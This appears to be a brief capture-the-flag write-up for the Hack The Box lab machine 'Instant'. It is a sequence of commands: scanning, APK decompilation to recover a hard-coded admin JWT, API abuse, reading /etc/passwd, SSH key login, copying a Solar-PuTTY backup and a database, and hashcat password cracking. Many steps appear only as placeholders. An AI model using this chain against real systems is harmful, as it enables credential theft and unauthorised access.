Instant

Instant


HTB Linux

nmap -A -p- -oA instant 10.129.231.155 --min-rate=10000 --script=vuln --script-timeout=15 -v

nmap -sC -sV -O -p- -oA instant 10.129.231.155

echo "10.129.231.155 instant.htb mywalletv1.instant.htb swagger-ui.instant.htb" | sudo tee -a /etc/hosts

ssh_command.

nmap -sU -O -p- -oA instant-udp 10.129.231.155

ping -c 1 10.129.231.155

nmap -p- --open -T5 -v -n 10.129.231.155

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.231.155 -oG allPorts

ssh_command.

extractPorts allPorts

ssh_command.

nmap -sCV -p22,80 10.129.231.155 -oN targeted

ssh_command.

bc targeted -l rb

ssh_command.

whatweb http://10.129.231.155

ssh_command.

ssh_command.

wget http://instant.htb/downloads/instant.apk

apktool d instant.apk

ssh_command.

ssh_command.

batcat smali/com/instantlabs/instant/AdminActivities.smali

ssh_command.

http://jwt.io

ssh_command.

Le damos click en Authorize.

ssh_command.

curl -X GET http://mywalletv1.instant.htb/api/v1/admin/list/users \ -H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" | jq

ssh_command.

Vemos el etc/passwd

ssh_command.

chmod 600 id_rsa

ssh shirohige@instant.htb -i id_rsa

ssh_command.

cat user.txt

ssh_command.

ls -ahl

ssh_command.

cat .env

ssh_command.

ls -ahl

ssh_command.

scp -i id_rsa shirohige@instant.htb/:/opt/backups/Solar-PuTTY/sessions-backup.dat .

ssh_command.

scp -i id_rsa shirohige@instant.htb/:/home/shirohige/projects/mywallet/Instant-Api/mywallet/instance/instant.db .

ssh_command.

sqlite3 instant.db .dump > instant.dmp

batcat instant.dmp

ssh_command.

Trate de crackear la contrasena pero no pude con john entonces lo hice con hashcat.

ssh_command.

hashcat -a 0 -m 10900 hash /usr/share/wordlists/rockyou.txt

ssh_command.

Usamos la contrasena de estrella y despues con la herramienta de SolarPuttyDecrypt recibimos la contrasena.

ssh_command.

© 2026 Cu3rv0x